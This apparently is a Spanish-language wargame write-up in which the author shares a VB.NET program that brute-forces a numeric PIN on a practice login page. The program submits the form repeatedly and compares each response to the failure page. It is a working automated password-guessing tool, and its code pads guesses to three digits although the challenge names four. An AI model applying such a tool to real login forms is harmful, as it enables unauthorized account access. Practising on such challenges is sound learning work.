Solucion Del Reto BruteForce Por Flamer

Hola amigos hace unos días puse un reto en el foro del hacker.net aquí el link:

http://foro.elhacker.net/desafios_wargames/reto_averiguar_el_nip_de_4_digitos_para_acceder-t451234.0.html

pero nadie lo resolvió así que muestro mi solución o el código que implemente para resolverlo

solo agregamos un textbox, un label, un boton y un WebBrowser al que llamaremos Web y quedara así como la imagen:

aquí el código este en vb.net

Public Class Form1
    Dim pagina_mala As String
    Dim pass As String
    Dim clave As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Web.Navigate("http://practicashacking.net23.net/login.php")
        Timer1.Interval = 2000
        Timer2.Interval = 2000
        clave = 1
        pass = "000"
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If pagina_mala = "" Then
            pagina_mala = Web.Document.All.Item(0).OuterHtml
            Web.GoBack()
            Timer1.Stop()
            Timer2.Start()
        ElseIf pagina_mala = Web.Document.All.Item(0).OuterHtml Then
            Web.GoBack()
            clave = clave + 1
            pass = CStr(clave)
            While Len(pass) < 3
                pass = "0" & pass
            End While
            Timer1.Stop()
            Timer2.Start()
        Else
            Timer1.Stop()
            Timer2.Stop()
            MsgBox("La Clave Es: " & clave)
        End If
        
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Web.Document.GetElementById("11").InnerText = pass
        Web.Document.GetElementById("10").InvokeMember("submit")
        Timer2.Stop()
        Timer1.Start()
    End Sub

    Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer2.Start()
        Button1.Enabled = False
    End Sub
End Class

y también hice un vídeo donde demuestro su funcionamiento

Ver El Video


link para Descargar codigo

bueno saludos Flamer